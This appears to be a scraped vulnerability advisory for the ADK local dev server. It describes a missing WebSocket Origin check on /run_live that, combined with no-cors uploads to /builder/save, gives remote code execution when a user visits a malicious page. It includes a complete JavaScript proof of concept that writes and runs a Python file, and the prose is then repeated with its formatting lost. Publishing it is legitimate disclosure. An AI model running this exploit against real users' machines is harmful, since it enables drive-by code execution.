Description
The /run_live WebSocket endpoint does not validate the Origin header. Since browsers do not enforce CORS on WebSocket connections, any webpage can establish a WebSocket connection to the local ADK dev server.
Attack Chain
A malicious webpage can chain this with the /builder/save endpoint (which accepts simple POST requests that bypass CORS preflight) to achieve remote code execution:
- Upload a malicious
agent.py via POST /builder/save?tmp=true (multipart/form-data, no preflight) - Persist it via
POST /builder/save - Create a session via
POST /apps/{app}/users/{user}/sessions/{session} - Trigger execution via
WebSocket /run_live — the agent loader imports the uploaded Python file, executing arbitrary code
Steps 1–3 use mode: "no-cors" simple requests. Step 4 exploits the missing WebSocket Origin check.
Impact
Remote code execution on the machine running adk web. A user only needs to visit a malicious webpage while the dev server is running.
Reproduction
Serve the following HTML and visit it while adk web is running on localhost:8000:
<script>constT="http://localhost:8000";constapp="csrf"+Date.now();(async()=>{// Upload malicious agentletfd=newFormData();fd.append("files",newBlob(["import os\nos.system('id > /tmp/pwned')\n"]),app+"/agent.py");awaitfetch(T+"/builder/save?tmp=true",{method: "POST",body: fd,mode: "no-cors"});// Persistfd=newFormData();fd.append("files",newBlob([""]),app+"/d");awaitfetch(T+"/builder/save",{method: "POST",body: fd,mode: "no-cors"});// Create sessionawaitfetch(T+"/apps/"+app+"/users/x/sessions/s",{method: "POST",mode: "no-cors"});awaitnewPromise(r=>setTimeout(r,300));// Trigger RCE via WebSocketnewWebSocket("ws://localhost:8000/run_live?app_name="+app+"&user_id=x&session_id=s");})();</script>
Description
The
/run_liveWebSocket endpoint does not validate theOriginheader. Since browsers do not enforce CORS on WebSocket connections, any webpage can establish a WebSocket connection to the local ADK dev server.Attack Chain
A malicious webpage can chain this with the
/builder/saveendpoint (which accepts simple POST requests that bypass CORS preflight) to achieve remote code execution:agent.pyviaPOST /builder/save?tmp=true(multipart/form-data, no preflight)POST /builder/savePOST /apps/{app}/users/{user}/sessions/{session}WebSocket /run_live— the agent loader imports the uploaded Python file, executing arbitrary codeSteps 1–3 use
mode: "no-cors"simple requests. Step 4 exploits the missing WebSocket Origin check.Impact
Remote code execution on the machine running
adk web. A user only needs to visit a malicious webpage while the dev server is running.Reproduction
Serve the following HTML and visit it while
adk webis running onlocalhost:8000: